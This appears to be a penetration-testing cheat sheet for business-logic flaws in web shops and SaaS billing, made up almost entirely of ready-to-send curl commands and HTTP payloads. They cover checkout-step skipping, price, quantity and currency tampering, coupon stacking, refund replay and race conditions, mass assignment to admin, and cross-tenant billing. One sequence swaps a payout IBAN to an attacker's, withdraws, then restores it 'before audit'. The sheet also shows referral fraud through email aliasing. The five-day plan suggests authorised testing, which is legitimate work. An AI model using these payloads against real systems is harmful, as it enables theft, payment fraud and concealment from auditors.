# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)

# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js

# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'

# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings

# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }

# Refund endpoint without idempotency
POST /api/orders/123/refund   # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund   # Second call: server checks "is order refunded?" — race the check (see TOCTOU)

PUT /api/order/123
{ "status": "draft" }   # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }

# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
  for v in GET POST PUT PATCH DELETE OPTIONS; do
    code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
    echo "$v $path $code"
  done
done | grep -v -E ' (401|403|404) '

POST /api/cart/add
{ "sku": "tv", "qty": -1 }      # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 }  # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 }    # Overflow → wraps to small number, $0 cost?

POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }

POST /api/checkout
{ "amount": 100, "currency": "JPY" }   # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" }   # Even better
{ "amount": 100, "currency": "BTC" }   # Or worse: pay in BTC at $1 BTC = $1?

# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" }   # Stacks?
POST /api/cart/coupon { "code": "save50" }   # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " }  # Whitespace ditto?

# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }

# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 }   # If admin endpoint reachable

# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }

# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT  /api/cart/items/abc { "sku": "macbook" }      # SKU swap with pen's price retained?

POST /api/orders/123/refund { "amount": 99999 }

POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold

PUT  /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT  /api/payout-account { "iban": "ORIGINAL" }   # Restore before audit

POST /api/users/me
role=user&role=admin              # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins

POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order

PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }

POST /api/projects/PUBLIC-PROJECT/share-token   # Anyone can mint
GET  /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API

# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.

# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card

# Email aliasing
attacker+1@gmail.com, attacker+2@gmail.com         # Plus-aliasing
attacker.@gmail.com, a.t.t.acker@gmail.com         # Dots ignored on Gmail
attacker@googlemail.com                            # gmail/googlemail equivalence

# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install

POST /api/refer { "email": "a@x.com" }   # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "a+1@x.com" }  # Repeat — many sign-ups, all same person

PUT /api/subscription { "tier": "free" }   # Cancel paid
GET /api/feature/premium-export             # Still works because feature flag cached?

PUT /api/subscription { "tier": "pro" }   # +1000 quota
PUT /api/subscription { "tier": "free" }  # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" }   # +1000 again — net 2000 in one cycle

POST /api/addons { "id": "extra-storage" }   # +10GB
POST /api/addons { "id": "extra-storage" }   # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" }   # Or charges once, stacks N times?

POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT      # Server-trusted time?
X-Request-Time: 1577836800

Day 1:  Map state machines for top 3 money flows.
Day 2:  Per state, list what the UI does. Check what the API allows.
Day 3:  Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4:  Race conditions on every "one-shot" action.
Day 5:  Chain the findings. Quantify financial impact per chain.